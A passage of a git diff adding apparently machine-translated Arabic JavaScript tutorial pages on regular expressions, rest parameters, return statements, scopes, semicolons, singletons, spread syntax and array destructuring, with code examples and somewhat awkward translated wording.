+استخدام الحروف الأبجدية الرقمية (AZ، az، 0-9) يجعلها مطابقة مباشرة. ومع ذلك ، فإن القوة الحقيقية للتعبيرات العادية تأتي مع فئات الشخصيات.
+
+قل ، على سبيل المثال ، تريد كل الأماكن سلسلة تحتوي على رقم من 0-9. بدلاً من الاتصال صراحة `/[0-9]/` ، يمكنك استخدام فئة الأحرف الخاصة لـ `/\d/` . تخطي الخط المائل العكسي الحرف `d` (لذا لا تتطابق مع الحرف `d` ) ، ولكن بدلاً من ذلك ، يستخدم قدرات المطابقة الخاصة لـ `\d` .
+
+ينطبق هذا المبدأ نفسه على الأحرف غير الرقمية والمساحة البيضاء ومجموعات المطابقة العامة الأخرى. يمكن أن تصبح التعبيرات العادية أكثر تعقيدًا باستخدام بعض أنواع التعديل ، مثل الرمز `+` .
+
+يسمح لك هذا المقيم بمطابقة الحرف السابق في نمطك مرة واحدة أو أكثر. `/s+/` سوف تطابق `s` في `desert` وكلا `s` الصورة في `dessert` !
+
+هناك الكثير من المعدلات التي تسمح للنمط الخاص بك بمطابقة كل ما قد تحتاجه. راجع قسم "مزيد من المعلومات" أدناه للاطلاع على جميع خيارات الأحرف الممكنة للاستخدام في التعبيرات العادية.
+
+#### أعلام
+
+هناك 5 علامات يمكنك استخدامها لتطبيق قواعد محددة على التعبير العادي بأكمله الذي تكتبه. هم انهم:
+
+`g` - المباراة العالمية ؛ هذا يسمح لك بمطابقة كل حالات التعبير الخاص بك ، بدلاً من التوقف بعد التواجد الأول.
+
+`i` - مطابقة حالة التجاهل (لا تحتاج إلى شرح)
+
+`m` - المباراة متعددة الخطوط. هذا ينطبق نمطك على كل سطر جديد ؛ إذا كنت تبحث عن خط يبدأ بنمط معين ، فإن هذا يفعل ذلك لجميع الخطوط ، وليس فقط في السطر الأول
+
+`u` - تطابق Unicode ؛ هذه الإشارات لقراءة نمطك ك Unicode بدلاً من النص العادي
+
+`y` - المباراة لزجة. هذا يطابق النقش الخاص بك فقط بدءاً من الفهرس الموجود في الخاصية `RegExp.lastIndex`
+
+### خلق تعبير عادي
+
+التعبير العادي هو نوع من الكائنات. يمكن بناؤها إما مع منشئ RegExp أو مكتوبة كقيمة حرفية من خلال إحاطة نمط في مائلة (/) حرفا.
+
+ `var re1 = new RegExp (" abc ") ; 
+ var re2 = / abc /; 
+` 
+
+تمثل كل من كائنات التعبير العادية نفس النمط: حرف متبوعًا بـ ab متبوعًا بـ c.
+
+### كائن RegExp
+
+`RegExp` هو مُنشئ يقوم بإنشاء كائن من نمط التعبير العادي الذي تقوم بإنشائه. بالإضافة إلى التدوين الحرفي الموضح أعلاه ، يمكنك أيضًا استخدام تنسيق المُنشئ لإنشاء تعبير عادي: `new RegExp(pattern[, flags])`
+
+### اختبار للمباريات
+
+ `console . log (/ abc /. test (" abcde ") ); 
+ // → true 
+ console . log (/ abc /. test (" abxde ") ); 
+ // → false 
+` 
+
+### مطابقة مجموعة من الشخصيات
+
+ `console . log (/[0123456789]/. test (" in 1992") ); 
+ // → true 
+ console . log (/[0 -9]/. test (" in 1992") ); 
+ // → true 
+` 
+
+### أنماط الاختيار
+
+ `var animalCount = /\ b \ d + ( pig | cow | chicken )s ?\ b /; 
+ console . log ( animalCount . test ("15 pigs ") ); 
+ // → true 
+ console . log ( animalCount . test ("15 pigchickens ") ); 
+ // → false 
+` 
+
+#### أساليب
+
+ستستخدم على الأرجح التعبيرات العادية في أساليب `String` ، مثل `String.replace()` ، ولكن هناك عدد قليل من الطرق التي تنتمي إلى كائن `RegExp` .
+
+على سبيل المثال ، يقوم `RegExp.test()` بإرجاع قيمة منطقية لتحديد ما إذا كان هناك تطابق بين نمط التعبير العادي والسلسلة المعنية. `RegExp.toString()` بتحويل كائن التعبير إلى سلسلة ، والتي يمكن أن تكون مفيدة عند تشغيل الاختبارات على التعليمات البرمجية.
+
+يمكن أن تكون الوسيطة الأولى أيضًا تعبيرًا عاديًا ، وفي هذه الحالة يتم استبدال المطابقة الأولى للتعبير العادي. عند إضافة خيار ag (للعامة) إلى التعبير العادي ، سيتم استبدال كل التطابقات في السلسلة ، وليس فقط الأول.
+
+ `console . log (" Borobudur ". replace (/[ ou ]/ , "a ") ); 
+ // → Barobudur 
+ console . log (" Borobudur ". replace (/[ ou ]/g , "a ") ); 
+ // → Barabadar 
+` 
+
+### معلومات اكثر:
+
+*   [هنا يمكنك أن تقرأ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) عن جميع أنماط مطابقة الأحرف ، خصائص الكائن ، انظر بعض الأمثلة وأكثر.
+    
+*   [في ما يلي موقع رائع](https://regex101.com/) يتيح لك اختبار أنماط التعبير العادية في الوقت الفعلي وحفظ المفضلة واستكشاف الأنماط التي تم إنشاؤها بواسطة الآخرين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/rest-parameters/index.md b/client/src/guide/arabic/javascript/rest-parameters/index.md
new file mode 100644
index 0000000000..8003c78cf8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/rest-parameters/index.md
@@ -0,0 +1,35 @@
+---
+title: Rest Parameters
+localeTitle: معايير الراحة
+---
+## معايير الراحة
+
+في ES6 ، يسمح لك بناء الجملة الثابت `...` بتجميع عدد غير محدود من الحجج في صفيف.
+
+على الرغم من أنها تبدو متشابهة ، إلا أنها تفعل عكس عامل الانتشار ، الذي يأخذ كل عنصر من أي شيء قابل للتكرار ويوزعها في قيمها الفردية.
+
+### بناء الجملة
+
+ `function myFunc(...args) { 
+  console.log(args); 
+ } 
+ 
+ myFunc( 1, 2, 3, 4, 5);       // [1,2,3,4,5] 
+` 
+
+يمكنك بادئة معلمة آخر دالة باستخدام `...` عندما تريد عمل شيء ما مع المعلمات الأولية ثم معالجة جميع المعلمات المتبقية بشكل مختلف.
+
+ `function convertCurrency(rate, fee, ...amounts) { 
+  return amounts.map(amount => (amount * rate) + fee); 
+ } 
+ 
+ convertCurrency(0.89, 2.5, 100, 250, 75, 150, 300); // [ 91.5, 225, 69.25, 136, 269.5 ] 
+` 
+
+يتيح لك `...` جمع ما تبقى من الوسيطات ، إن وجدت ، في مصفوفة.
+
+### الفرق بين معلمات الاستراحة وكائن الوسائط
+
+`arguments` هي كائن شبيه بالمصفوفة ، وهي متوفرة داخل الوظائف ، والتي تحتوي على الوسيطات التي تم تمريرها إلى تلك الوظائف. يطلق عليه "صفيف تشبه" لأنه لا يحتوي على كل الطرق المضمنة في صفيف ، مثل `.forEach()` و `.map()` .
+
+المعلمات الباقية هي مصفوفة ، مع تضمين جميع أساليب الصفيف.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/return-statements/index.md b/client/src/guide/arabic/javascript/return-statements/index.md
new file mode 100644
index 0000000000..70ae45a2a3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/return-statements/index.md
@@ -0,0 +1,80 @@
+---
+title: Return Statement
+localeTitle: بيان العودة
+---
+## المقدمة
+
+عندما يتم استدعاء بيان **الإرجاع** في وظيفة ، يتم إيقاف تنفيذ هذه الوظيفة. إذا تم تحديدها ، يتم إرجاع قيمة محددة إلى المتصل الوظيفي. إذا تم حذف التعبير ، يتم إرجاع غير `undefined` بدلاً من ذلك.
+
+ `    return expression; 
+` 
+
+يمكن أن تعود الوظائف:
+
+*   القيم الأولية (السلسلة ، العدد ، القيمة المنطقية ، وما إلى ذلك)
+*   أنواع الكائنات (المصفوفات ، الكائنات ، الوظائف ، إلخ)
+
+عدم إرجاع أي شيء على سطر جديد بدون استخدام الأقواس. هذا هو quirk JavaScript وستكون النتيجة غير محددة. حاول دائمًا استخدام الأقواس عند إرجاع شيء ما على أسطر متعددة.
+
+ `function foo() { 
+    return 
+      1; 
+ } 
+ 
+ function boo() { 
+    return ( 
+      1 
+    ); 
+ } 
+ 
+ foo(); --> undefined 
+ boo(); --> 1 
+` 
+
+## أمثلة
+
+تقوم الدالة التالية بإرجاع مربع الوسيطة الخاصة به **x** حيث يمثل **x** رقمًا.
+
+ `    function square(x) { 
+       return x * x; 
+    } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/C7VT/0)
+
+تقوم الدالة التالية بإرجاع منتج الوسيطات الخاصة به ، **arg1** و **arg2** .
+
+ `    function myfunction(arg1, arg2){ 
+       var r; 
+       r = arg1 * arg2; 
+       return(r); 
+    } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/C7VU/0)
+
+عندما تقوم دالة `return` قيمة sa ، يمكن تعيين القيمة لمتغير باستخدام عامل assigment ( `=` ). في المثال أدناه ، تقوم الدالة بإرجاع مربع الوسيطة. عندما يحل وظيفة أو ينتهي قيمته هي `return` قيمة أد. ثم يتم تعيين القيمة للمتغير `squared2` .
+
+ `    function square(x) { 
+        return x * x; 
+    } 
+ 
+    let squared2 = square(2); // 4 
+` 
+
+إذا لم يكن هناك بيان إقرار صريح ، بمعنى أن الدالة تفتقد الكلمة الرئيسية `return` ، فإن الدالة تقوم بإرجاع `undefined` تلقائيًا. في المثال التالي ، تفتقد الدالة `square` الكلمة الرئيسية التي تم `return` . عندما يتم تعيين نتيجة استدعاء الوظيفة إلى متغير ، يكون للمتغير قيمة `undefined` .
+
+ `    function square(x) { 
+        let y = x * x; 
+    } 
+ 
+    let squared2 = square(2); // undefined 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/M8BE)
+
+#### معلومات اكثر:
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/return)
+
+[رابط MSDN](https://msdn.microsoft.com/en-us/library/22a685h9.aspx)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/scopes/index.md b/client/src/guide/arabic/javascript/scopes/index.md
new file mode 100644
index 0000000000..b7c6eb9e08
--- /dev/null
+++ b/client/src/guide/arabic/javascript/scopes/index.md
@@ -0,0 +1,131 @@
+---
+title: Scopes
+localeTitle: نطاقات
+---
+إذا كنت تقوم بالبرمجة في JavaScript لفترة من الوقت ، فستواجه بدون شك مفهومًا يعرف باسم `scope` . ما هو `scope` ؟ لماذا يجب أن تأخذ الوقت الكافي لتعلمها؟
+
+في intermer speak ، `scope` هو **سياق التنفيذ الحالي** . مشوش؟ لنلق نظرة على جزء الشفرة التالي:
+
+ `var foo = 'Hi, I am foo!'; 
+ 
+ var baz = function () { 
+  var bar = 'Hi, I am bar too!'; 
+    console.log(foo); 
+ } 
+ 
+ baz(); // Hi, I am foo! 
+ console.log(bar); // ReferenceError... 
+` 
+
+هذا مثال بسيط ، لكنه يقوم بعمل جيد لتوضيح ما يعرف باسم _نطاق Lexical_ . جافا سكريبت ، وتقريبا كل لغة برمجة أخرى لديها _نطاق Lexical_ . هناك نوع آخر من النطاق يعرف بالنطاق _الديناميكي_ ، لكننا لن نناقش ذلك.
+
+الآن ، يبدو مصطلح _نطاق Lexical_ يتوهم ، ولكن كما سترى ، فإن الأمر بسيط للغاية من حيث المبدأ. في نطاق المعجم ، هناك نوعان من النطاقات: _النطاق العالمي والنطاق_ _المحلي_ .
+
+قبل كتابة السطر الأول من التعليمة البرمجية في البرنامج ، يتم إنشاء _نطاق عالمي من_ أجلك. يحتوي هذا على كافة المتغيرات التي تقوم بتعريفها في البرنامج **خارج أي وظائف** .
+
+في المثال أعلاه ، يكون `foo` المتغير في النطاق العالمي للبرنامج ، بينما يتم الإعلان عن `bar` المتغير داخل دالة وبالتالي يكون **في النطاق المحلي لتلك الوظيفة** .
+
+يتيح تقسيم المثال عن طريق سطر. في حين قد تكون مرتبكًا في هذه المرحلة ، فأعدك أن يكون لديك فهم أفضل بكثير عند الانتهاء من قراءة هذا.
+
+على خط 1 نحن نعلن متغير `foo` . لا شيء يتوهم جدا هنا. دعنا نطلق على هذا إشارة إلى حجم اليسار (LHS) إلى `foo` ، لأننا نقوم بتعيين قيمة `foo` وهي تقع على الجانب الأيسر من علامة `equal` .
+
+في السطر 3 ، نعلن عن وظيفة ونقوم بتعيينها إلى `baz` متغير. هذه إشارة LHS أخرى إلى `baz` . نحن نقوم بتعيين قيمة لها (تذكر ، الدوال هي قيم أيضًا!). ثم يتم استدعاء هذه الدالة على السطر 8. هذا هو RHS ، أو إشارة الجانب الأيمن إلى `baz` . نحن `baz` قيمة `baz` ، والتي في هذه الحالة دالة ثم تستدعيها. سيكون مرجع RHS آخر إلى `baz` إذا قمنا بتعيين قيمته إلى متغير آخر ، على سبيل المثال `foo = baz` . سيكون هذا إشارة LHS إلى `foo` وإشارة RHS إلى `baz` .
+
+قد تبدو المراجع LHS و RHS مربكة ، ولكنها مهمة لمناقشة النطاق. فكر في الأمر بهذه الطريقة: يقوم مرجع LHS بتعيين قيمة للمتغير ، بينما يقوم مرجع RHS باسترداد قيمة المتغير. إنها طريقة أقصر وأكثر ملاءمةً للقول "استرداد القيمة" و "تعيين قيمة".
+
+دعونا الآن نقوم بتعطل ما يحدث داخل الوظيفة نفسها.
+
+عندما يجمع المحول البرمجي الرمز داخل دالة ، فإنه يدخل **النطاق المحلي** للوظيفة.
+
+على الخط 4 ، يتم التصريح عن `bar` المتغير. هذه إشارة LHS إلى `bar` . في السطر التالي ، لدينا مرجع RHS `foo` داخل `console.log()` . تذكر أننا `foo` قيمة `foo` ثم نمررها كحجة إلى `console.log()` .
+
+عندما يكون لدينا مرجع RHS إلى `foo` ، يبحث المترجم عن إعلان المتغير `foo` . لا يجدها المحول البرمجي في الوظيفة نفسها ، أو **النطاق المحلي للوظيفة ،** حيث **يرتفع مستوى واحد: إلى النطاق العالمي** .
+
+في هذه المرحلة ، ربما تفكر في أن النطاق له علاقة بالمتغيرات. هذا صحيح. يمكن اعتبار النطاق بمثابة حاوية للمتغيرات. لا يمكن الوصول إلى جميع المتغيرات التي يتم إنشاؤها داخل نطاق محلي إلا في النطاق المحلي. ومع ذلك ، يمكن لكافة النطاقات المحلية الوصول إلى النطاق العالمي. (أعلم أنك على الأرجح أكثر إرباكًا الآن ، لكن فقط تحمل معي لفقرات قليلة أخرى).
+
+وبالتالي فإن المترجم ترتفع إلى نطاق عالمي لإيجاد مرجعية LHS إلى متغير `foo` . يجد واحدًا على السطر 1 ، بحيث يسترد القيمة من مرجع LHS ، وهو سلسلة: `'Hi, I am foo!'` . يتم إرسال هذه السلسلة إلى الأسلوب `console.log()` و outputted إلى وحدة التحكم.
+
+انتهى المحول البرمجي من تنفيذ الشفرة داخل الدالة ، لذا نعود إلى السطر 9. في السطر 9 ، لدينا مرجع RHS `bar` المتغير.
+
+الآن ، أعلن `bar` في النطاق المحلي من `baz` ، ولكن هناك إشارة RHS `bar` في النطاق العالمي. نظرًا لعدم وجود مرجع LHS `bar` في النطاق العالمي ، فلن يتمكن المحول البرمجي من العثور على قيمة `bar` ويلقي ReferenceError.
+
+ولكن ، قد تسأل ، إذا كانت الوظيفة يمكن أن تبدو خارج نفسها للمتغيرات ، أو نطاق محلي يمكن أن ينظر إلى النطاق العالمي للعثور على مراجع LHS ، فلماذا لا يستطيع النطاق العالمي النظر إلى نطاق محلي؟ حسنا هذا هو كيف يعمل المدى معجمي!
+
+ `... // global scope 
+ var baz = function() { 
+  ... // baz's scope 
+ } 
+ ... /// global scope 
+` 
+
+هذا هو نفس رمز من أعلاه الذي يوضح النطاق. يشكل هذا نوعًا من التسلسل الهرمي الذي يرتقي إلى النطاق العالمي:
+
+`baz -> global` .
+
+لذا ، إذا كان هناك مرجع RHS لمتغير داخل نطاق `baz` ، فيمكن تحقيقه بواسطة مرجع LHS لهذا المتغير في النطاق العالمي. لكن العكس **ليس صحيحًا** .
+
+ماذا لو كان لدينا وظيفة أخرى داخل `baz` ؟
+
+ `... // global scope 
+ var baz = function() { 
+  ... // baz's scope 
+ 
+  var bar = function() { 
+     ... // bar's scope. 
+  } 
+ 
+ } 
+ ... /// global scope 
+` 
+
+في هذه الحالة ، سيبدو التسلسل الهرمي أو **سلسلة النطاق** كما يلي:
+
+`bar -> baz -> global`
+
+أي إشارات RHS داخل `bar` 'نطاق محلي الصورة يمكن fullfilled بالإشارة LHS في نطاق عالمي أو `baz` "نطاق الصورة، ولكن إشارة RHS في `baz` " نطاق الصورة لا يمكن fullfilled بالإشارة LHS في `bar` "نطاق الصورة.
+
+**يمكنك فقط عبور سلسلة نطاق ، وليس لأعلى.**
+
+هناك شيئين مهمين آخرين يجب معرفتهما حول نطاقات جافا سكريبت.
+
+1.  يتم الإعلان عن النطاقات بواسطة الدالات ، وليس بواسطة الكتل.
+2.  وظائف يمكن الرجوع إلى الأمام ، المتغيرات لا يمكن.
+
+لاحظ (كل تعليق يصف النطاق الموجود في السطر المكتوب عليه):
+
+\`\` \` // outer () في النطاق هنا لأن الدالات يمكن أن تكون مرجعية للأمام
+
+ `function outer() { 
+ 
+    // only inner() is in scope here 
+    // because only functions are forward-referenced 
+ 
+    var a = 1; 
+ 
+    //now 'a' and inner() are in scope 
+ 
+    function inner() { 
+        var b = 2 
+ 
+        if (a == 1) { 
+            var c = 3; 
+        } 
+ 
+        // 'c' is still in scope because JavaScript doesn't care 
+        // about the end of the 'if' block, only function inner() 
+    } 
+ 
+    // now b and c are out of scope 
+    // a and inner() are still in scope 
+ 
+ } 
+ 
+ // here, only outer() is in scope 
+` 
+
+\`\` \`
+
+# المراجع
+
+1.  [نطاقات وإغلاق](https://github.com/getify/You-Dont-Know-JS/tree/master/scope%20%26%20closures) بواسطة كايل سيمبسون. يذهب إلى مزيد من التفاصيل حول كيفية عمل آلية النطاق ، ولديه أيضًا وصفًا سطحيًا لكيفية عمل مترجم جافا سكريبت ، لذلك إذا كنت مهتمًا بذلك ، فقم بالتأكيد بإعطائه قراءة! إنه مجاني على GitHub ويمكن شراؤه من O'Reilly.
+2.  [أسرار جافا سكريبت النينجا من](https://www.amazon.com/Secrets-JavaScript-Ninja-John-Resig/dp/1617292850/ref=pd_lpo_sbs_14_img_0?_encoding=UTF8&psc=1&refRID=YMC2TB2C0DFHTQ3V62CA) قبل جون Resig والدب Bibeault. دليل رائع لفهم أكثر عمقًا لجافا سكريبت.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/semicolons/index.md b/client/src/guide/arabic/javascript/semicolons/index.md
new file mode 100644
index 0000000000..530fc26517
--- /dev/null
+++ b/client/src/guide/arabic/javascript/semicolons/index.md
@@ -0,0 +1,28 @@
+---
+title: Semicolons
+localeTitle: منقوطة
+---
+الفترات المنقوطة غير مطلوبة في Javascript. ويرجع ذلك إلى أن جافا سكريبت تحتوي على ميزة تسمى "الإدراج التلقائي المنقار" أو ASI للاختصار. يضع ASI الفاصلات المنقوطة في Javascript لك. وهي نشطة دائمًا بشكل افتراضي وهي جزء من اللغة ولا يمكن تعطيلها.
+
+يحتوي ASI على مجموعة من القواعد التي يستخدمها لتحديد مكان إدراج الفواصل المنقوطة. إذا كان هناك فاصلة منقوطة بالفعل ، فلن يغير أي شيء. انظر [هذا الجواب StackOverflow](http://stackoverflow.com/a/2846298/3467946) لمزيد من المعلومات حول كيفية عمل ASI.
+
+هناك حالة واحدة فقط حيث يفشل ASI: عندما يبدأ سطر مع قوس فتح `(` . لتجنب هذا يسبب أخطاء ، عندما يبدأ سطر مع قوس فتح ، يمكنك وضع فاصلة منقوطة في بداية السطر الذي يحتوي على قوس فتح :
+
+ `;(function() { 
+  console.log('Hi!') 
+ }) 
+` 
+
+لاحظ أن هذا مطلوب فقط إذا كنت لا تستخدم الفواصل المنقوطة.
+
+نمط تشفير متناسق يجعل التعليمة البرمجية أكثر قابلية للقراءة. قرر ما إذا كنت ستستخدم الفواصل المنقوطة أو لن تستخدمها في أي مكان.
+
+## الأخطاء التي قد تصادفها
+
+عندما تم إنشاء جافا سكريبت لأول مرة كان من المفترض أن تساعد المبتدئين على الدخول في البرمجة. لا أحد يريد أن يبحث عن فاصلة منقوطة في الشفرة عند بدء البرمجة لأول مرة. لذلك تم تنفيذ اختيار semi-colons ، كما ذكر أعلاه فهي من الناحية الفنية هناك.
+
+فمثلا: `javasctipt function foo(x) { return function(y) { return x + y; } } let z = foo(10); z(10)// TypeError z is not a function // Because of Automatic Semicolon Insertion, our inner function does not exist.` سيتم تنفيذ جافا سكريبت شبه الأعمدة حيث من المتوقع.
+
+### موارد آخرى
+
+[رسالة مفتوحة إلى قادة جافا سكريبت فيما يتعلق بالموزجات المنقوطة](http://blog.izs.me/post/2353458699/an-open-letter-to-javascript-leaders-regarding)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/singleton-in-javscript/index.md b/client/src/guide/arabic/javascript/singleton-in-javscript/index.md
new file mode 100644
index 0000000000..981d836484
--- /dev/null
+++ b/client/src/guide/arabic/javascript/singleton-in-javscript/index.md
@@ -0,0 +1,51 @@
+---
+title: Creating Singleton In JavaScript
+localeTitle: خلق سينجلتون في جافا سكريبت
+---
+## خلق سينجلتون في دليل جافا سكريبت
+
+هذه المادة هي حول إنشاء Singletons في جافا سكريبت الأصلي (الصرفة). هذا المفهوم يمكن أن يكون مفيدا للحفاظ على كود نظيف.
+
+إذا كنت ترغب في الحفاظ على شفرتك أو يجب أن تظل somedata نفسها خلال تطبيقك ، فإن هذه هي الطريقة التي يمكنك إنجازها.
+
+**علم مسبق** هذا فقط لمساعدتك على فهم المفهوم بسهولة أكبر ، وإلا يمكنك دائمًا نسخ الشفرة وتغييرها وفقًا لذلك.
+
+*   بناء جافا سكريبت الأساسي
+*   وظائف جافا سكريبت
+*   IIFE في Javascript
+
+### هيا بنا نبدأ
+
+دعونا إنشاء كائن مع الدالة IIFE التي سيتم تنفيذها على الفور لتعطينا تأثير سينجلتون.
+
+ `var singletonFn = (function(){ //Created IIFE Function 
+  var dataCounter = 0; 
+  return { //Any code inside this return stuff will be accessible directly using objectname. 
+ 
+    getDataCounter: function(){ 
+      return dataCounter; 
+    }, 
+ 
+    setDataCounter: function(val){ 
+      dataCounter = val; 
+    }, 
+ 
+    fishNames: ["SimpleFish"] //Can create variables, Arrays, etc. 
+  } 
+ })(); 
+` 
+
+الآن لتنفيذ أو استخدام المفرد الخاص بك. في المتصفح بعد حفظ هذا الملف js وتحميله.
+
+ `console.log(singletonFn.getDataCounter()); //0 as bydefault it will be 0. 
+ 
+ singletonFn.setDataCounter(20); 
+ 
+ console.log(singletonFn.getDataCounter()); //20 as we assigned. 
+ 
+ console.log(fishNames); //will Print array with "SimpleFish". 
+` 
+
+الآن مع هذه المعرفة يمكنك تحديد الثوابت ، التعدادات أو أي شيء يحتاج إلى استخدام متعددة في مشروع مكتوب هنا. أو شيء من هذا القبيل التكوينات.
+
+نأمل ، وهذا سوف تساعدك على كتابة رموز أفضل. الترميز سعيد :)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/spread-syntax/index.md b/client/src/guide/arabic/javascript/spread-syntax/index.md
new file mode 100644
index 0000000000..575998c148
--- /dev/null
+++ b/client/src/guide/arabic/javascript/spread-syntax/index.md
@@ -0,0 +1,146 @@
+---
+title: Spread syntax
+localeTitle: بناء الجملة
+---
+## بناء الجملة
+
+يسمح بناء جملة Spread بتكرار مثل تعبير صفيف أو سلسلة يتم توسيعها في أماكن حيث يتم توقع صفر أو أكثر من الوسيطات (لمكالمات الوظيفة) أو العناصر (بالنسبة إلى القيم الحرفية للمصفوفة) ، أو تعبير كائن ليتم توسيعه في الأماكن التي يكون فيها الصفر متوقعًا .
+
+### بناء الجملة
+
+لمكالمات الوظائف:
+
+ `myFunction(...iterableObj); 
+` 
+
+بالنسبة للمعايير الحرفية أو الأوتار:
+
+ `[...iterableObj, '4', 'five', 6]; 
+` 
+
+### أمثلة
+
+#### انتشر في المكالمات وظيفة
+
+#### استبدال تطبيق
+
+من الشائع استخدام `Function.prototype.apply` في الحالات التي تريد فيها استخدام عناصر مصفوفة كوسيطة للدالة.
+
+ `function myFunction(x, y, z) { } 
+ var args = [0, 1, 2]; 
+ myFunction.apply(null, args); 
+` 
+
+مع صيغة الانتشار يمكن كتابة ما سبق على النحو التالي:
+
+ `function myFunction(x, y, z) { } 
+ var args = [0, 1, 2]; 
+ myFunction(...args); 
+` 
+
+يمكن لأي وسيطة في قائمة الوسيطة استخدام صيغة الانتشار ويمكن استخدامها عدة مرات.
+
+ `function myFunction(v, w, x, y, z) { } 
+ var args = [0, 1]; 
+ myFunction(-1, ...args, 2, ...[3]); 
+` 
+
+### تقديم طلب جديد
+
+عند استدعاء منشئ مع `new` ، فإنه من غير الممكن استخدامها **مباشرة** مجموعة و `apply` ( `apply` يفعل `[[Call]]` وليس `[[Construct]]` ). ومع ذلك ، يمكن استخدام مصفوفة بسهولة مع شكر جديد لنشر الجملة:
+
+ `var dateFields = [1970, 0, 1];  // 1 Jan 1970 
+ var d = new Date(...dateFields); 
+` 
+
+لاستخدام جديدة مع مجموعة من المعلمات دون بناء جملة الانتشار ، يجب عليك القيام بذلك **بشكل غير مباشر من** خلال التطبيق الجزئي:
+
+ `function applyAndNew(constructor, args) { 
+   function partial () { 
+      return constructor.apply(this, args); 
+   }; 
+   if (typeof constructor.prototype === "object") { 
+      partial.prototype = Object.create(constructor.prototype); 
+   } 
+   return partial; 
+ } 
+ 
+ 
+ function myConstructor () { 
+   console.log("arguments.length: " + arguments.length); 
+   console.log(arguments); 
+   this.prop1="val1"; 
+   this.prop2="val2"; 
+ }; 
+ 
+ var myArguments = ["hi", "how", "are", "you", "mr", null]; 
+ var myConstructorWithArguments = applyAndNew(myConstructor, myArguments); 
+ 
+ console.log(new myConstructorWithArguments); 
+ // (internal log of myConstructor):           arguments.length: 6 
+ // (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null] 
+ // (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"} 
+` 
+
+### انتشر في الحرفيين مجموعة
+
+#### مجموعة أكثر قوة الحرفية
+
+بدون صيغة الانتشار ، لإنشاء مصفوفة جديدة باستخدام مصفوفة موجودة كجزء واحد منها ، لم يعد بناء الجملة الحرفية الحرفية كافياً ويجب استخدام الكود الحتمي بدلاً من ذلك باستخدام توليفة من الدفع ، لصق ، كونتاكت ، إلخ. يصبح أكثر مقتضبة:
+
+ `var parts = ['shoulders', 'knees']; 
+ var lyrics = ['head', ...parts, 'and', 'toes']; 
+ // ["head", "shoulders", "knees", "and", "toes"] 
+` 
+
+تماما مثل انتشار لقوائم الحجج ، `...` يمكن استخدامها في أي مكان في الصفيف الحرفية ويمكن استخدامه عدة مرات.
+
+### انسخ صفيف
+
+ `var arr = [1, 2, 3]; 
+ var arr2 = [...arr]; // like arr.slice() 
+ arr2.push(4); 
+ 
+ // arr2 becomes [1, 2, 3, 4] 
+ // arr remains unaffected 
+` 
+
+> **ﻣﻼﺣظﺔ** : ﺗرﺗﻔﻊ ﺑﻧود اﻟﻣﺟﺎﻣﻊ ﺑﺷﮐل ﻓﻌﺎل إﻟﯽ ﻣﺳﺗوى واﺣد أﺛﻧﺎء ﻧﺳﺦ ﻣﺻﻔوﻓﺔ. لذلك ، قد يكون غير مناسب لنسخ صفائف متعددة الأبعاد كما يظهر المثال التالي (هو نفسه مع Object.assign () وبناء الجملة spread).
+
+ `var a = [[1], [2], [3]]; 
+ var b = [...a]; 
+ b.shift().shift(); // 1 
+ // Now array a is affected as well: [[], [2], [3]] 
+` 
+
+### طريقة أفضل لسلسل صفائف
+
+`Array.concat` غالباً لسَلسَلة صفيف إلى نهاية صفيف موجود. بدون صيغة الانتشار يتم ذلك على النحو التالي:
+
+ `var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ // Append all items from arr2 onto arr1 
+ arr1 = arr1.concat(arr2); 
+` 
+
+مع صيغة الانتشار يصبح هذا:
+
+ `var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ arr1 = [...arr1, ...arr2]; 
+` 
+
+غالباً ما يتم استخدام `Array.unshift` لإدراج صفيف من القيم في بداية صفيف موجود. بدون صيغة الانتشار يتم ذلك على النحو التالي:
+
+ `var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ // Prepend all items from arr2 onto arr1 
+ Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2] 
+` 
+
+مع صيغة الانتشار يصبح هذا:
+
+ `var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-destructuring/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-destructuring/index.md
new file mode 100644
index 0000000000..2229b3413f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-destructuring/index.md
@@ -0,0 +1,91 @@
+---
+title: Array Destructuring
+localeTitle: Dray
+---
+# Dray
+
+تعتبر عملية التصفية طريقة ملائمة لاستخلاص قيم متعددة من البيانات المخزنة في المصفوفات. يمكن استخدامه في المواقع التي تتلقى البيانات (مثل الجانب الأيسر من الواجب). يتم تقديم هذه الميزة في `ECMAScript 6` .
+
+يتم تحديد كيفية استخراج القيم عبر الأنماط (اقرأ على سبيل المثال).
+
+### الواجب الأساسي المتغير
+
+ `var names = ['neel', 'meet', 'darshan']; 
+ var [nameOne, nameTwo, nameThree] = names; 
+ console.log(nameOne); // "neel" 
+ console.log(nameTwo); // "meet" 
+ console.log(nameThree); // "darshan" 
+` 
+
+### مهمة منفصلة عن الإعلان
+
+يمكن تعيين متغير قيمته من خلال التدمير المنفصل عن تعريف المتغير.
+
+ `var a, b; 
+ 
